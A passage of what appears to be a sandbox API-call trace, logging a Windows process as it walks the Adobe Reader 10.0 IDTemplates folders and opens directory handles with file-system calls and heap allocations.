0x2e8f80 [0081.217] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.217] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.217] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAT", cAlternateFileName="")) returned 1 [0081.217] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.217] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.220] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0081.220] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.220] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1258e90 [0081.220] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1258e90, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1258e90, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.221] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1258e90) returned 1 [0081.221] NtClose (Handle=0x178) returned 0x0 [0081.221] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.221] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261250 [0081.222] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.222] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.222] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11ff6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.222] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.222] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261358 [0081.223] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12015f8 [0081.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261460 [0081.223] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.223] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11581, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.224] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.224] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201618 [0081.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261568 [0081.225] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.225] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11581, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.225] GetLastError () returned 0x12 [0081.225] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.225] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.225] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.225] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11ff6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.225] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11581, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.225] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11581, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.225] GetLastError () returned 0x12 [0081.225] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261250) returned 1 [0081.225] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.225] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261358) returned 1 [0081.226] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.226] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8039ef40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHS", cAlternateFileName="")) returned 1 [0081.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.226] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8039ef40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.227] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0081.227] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.227] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1258e90 [0081.227] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1258e90, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1258e90, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.227] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1258e90) returned 1 [0081.227] NtClose (Handle=0x168) returned 0x0 [0081.228] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.228] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261358 [0081.228] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.229] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8039ef40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.229] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20cc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.229] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.229] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.229] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.229] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.229] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.229] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261250 [0081.230] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.230] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201638 [0081.230] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261670 [0081.230] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.230] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x207b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.230] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.230] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.231] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.231] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.231] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.231] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201658 [0081.231] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261778 [0081.231] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.231] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x207b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.231] GetLastError () returned 0x12 [0081.232] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.232] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.232] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8039ef40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.232] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20cc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.232] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x207b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.232] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x207b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.232] GetLastError () returned 0x12 [0081.232] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261358) returned 1 [0081.232] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.232] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261250) returned 1 [0081.232] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.232] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8039ef40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHT", cAlternateFileName="")) returned 1 [0081.232] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.233] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8039ef40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.234] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0081.234] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.234] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1258e90 [0081.234] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1258e90, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1258e90, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.234] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1258e90) returned 1 [0081.234] NtClose (Handle=0x178) returned 0x0 [0081.235] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.235] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261250 [0081.235] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.235] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8039ef40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.235] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x561b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.236] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.236] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261358 [0081.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201678 [0081.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261880 [0081.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, 